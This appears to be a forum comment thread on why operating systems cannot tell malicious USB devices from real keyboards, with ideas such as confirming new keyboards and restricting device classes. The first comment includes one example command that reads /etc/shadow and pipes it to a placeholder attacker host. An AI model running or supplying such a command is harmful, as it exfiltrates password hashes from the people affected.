3 ms·
My understanding is that the OS can't differentiate a malicious USB stick from a USB keyboard. In particular, the keyboard could be typing "sudo cat /etc/shado
by verteu 6y ago
My understanding is that the OS can't differentiate a malicious USB stick from a USB keyboard.
In particular, the keyboard could be typing "sudo cat /etc/shadow | telnet bad.com 80"...
- alisonkisk 6y agoIt's more of a systemic problem. We don't have this problem with bluetooth or wifi because it uses encryption and individual keys. But usb is unencrypted with no secure identification mechanism.
- krisoft 6y agoI was thinking about that. What the OS could do is to ask for confirmation on the second keyboard. It could be something as simple as “Looks like you connected a secondary keyboard. Please type in the following random 3 numbers before it becomes active.” If on boot it finds two keyboards it can do the same with both.
- ChrisMarshallNY 6y ago> Please type in the following random 3 numbers before it becomes active. Mac OS does something like this. If, say, I attach (via either USB or Bluetooth), a presentation remote, I'll get a keyboard identifier alert. It isn't really anything more than an alert, though, because I can ignore the ID step, and it still works.
- mschuster91 6y agoOnly for keyboards whose VID/PID combo it doesn't know and so can't associate a scancode mapping.
- Verdex 6y agoAppearently the os can't differentiate between any USB devices. I saw a great video years ago (which I haven't been able to locate for years) that went into detail as to how you can basically make a custom usb device arbitrarily malicious. The trick that sounded particularly good was that you can impersonate a usb device that requests a driver that has a known security vulnerability. Fun times.
- quesera 6y agoYep, the issue is that the host OS has no way to verify the identity of the USB device. It has to believe whatever the device claims. Something that looks like a charging cable might actually "be" a 1990s-era Wacom tablet with crappy drivers, which also charges your phone. The only protection is to restrict what types of devices are allowed to connect. The kernel is not obligated to recognize any device that you attach (though of course most users will expect it to do so!). And of course some host OSes make such restrictions difficult or impossible.